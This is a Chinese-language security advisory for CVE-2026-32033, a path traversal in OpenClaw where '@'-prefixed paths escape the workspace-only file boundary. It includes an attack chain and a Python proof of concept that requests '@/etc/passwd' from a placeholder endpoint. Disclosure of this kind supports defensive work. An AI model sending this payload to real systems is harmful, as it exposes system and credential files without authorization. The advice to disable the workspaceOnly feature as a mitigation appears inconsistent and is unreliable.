IPBUF安全漏洞报告
English
CVE-2026-32033 CVSS 6.5 中危

CVE-2026-32033 OpenClaw路径遍历漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-32033
漏洞类型
路径遍历
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

路径遍历OpenClaw信息泄露CVE-2026-32033

漏洞概述

OpenClaw在2026.2.24之前的版本中存在路径遍历漏洞。该漏洞源于路径规范化处理的不匹配,导致以@符号为前缀的绝对路径能够成功绕过仅限工作区的文件系统边界验证。当系统启用tools.fs.workspaceOnly功能时,攻击者可以通过精心构造以@开头的路径(例如@/etc/passwd)来读取预期工作区边界之外的任意文件。该漏洞允许低权限攻击者在无用户交互的情况下通过网络发起攻击,造成敏感信息泄露。

技术细节

该漏洞的核心在于OpenClaw对文件路径的验证逻辑存在缺陷。在启用tools.fs.workspaceOnly选项时,应用程序应阻止对工作区目录以外文件的访问。然而,由于代码在处理路径规范化时存在不一致,安全机制未能正确识别以@为前缀的绝对路径(如@/etc/passwd)为越狱路径。攻击者利用这一逻辑漏洞,发送包含特定前缀的恶意请求,导致边界检查失效。系统随后解析该路径并返回目标文件的内容。由于攻击向量为网络(AV:N),攻击复杂度低(AC:L),且无需用户交互(UI:N),该漏洞容易被利用,主要影响系统的机密性(C:H),允许未授权读取敏感数据。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标运行的是2026.2.24之前的OpenClaw版本,并确认tools.fs.workspaceOnly功能已启用。
STEP 2
2. 构造恶意载荷
攻击者构造包含@前缀的绝对路径(如@/etc/passwd),旨在绕过文件系统边界验证逻辑。
STEP 3
3. 发送攻击请求
攻击者通过网络向目标OpenClaw接口发送包含恶意路径的请求,无需用户交互。
STEP 4
4. 敏感信息泄露
目标系统处理请求时未能拦截该路径,返回了工作区之外的文件内容,导致机密性受损。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-32033 # This script demonstrates how to bypass workspace boundary checks using the '@' prefix. import requests target_url = "http://vulnerable-openclaw-instance:8080/api/read_file" # The payload uses an '@' prefix to bypass workspace validation # attempting to read /etc/passwd from the host system payload = { "path": "@/etc/passwd" } try: response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Exploit successful! File content retrieved:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

OpenClaw < 2026.2.24

防御指南

临时缓解措施
建议尽快将OpenClaw组件升级到2026.2.24或更高版本以彻底修复此漏洞。在升级之前,作为临时缓解措施,可以禁用tools.fs.workspaceOnly功能(如果业务允许),或者通过防火墙规则严格限制对OpenClaw服务端口的访问,仅允许可信的IP地址进行连接,从而减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表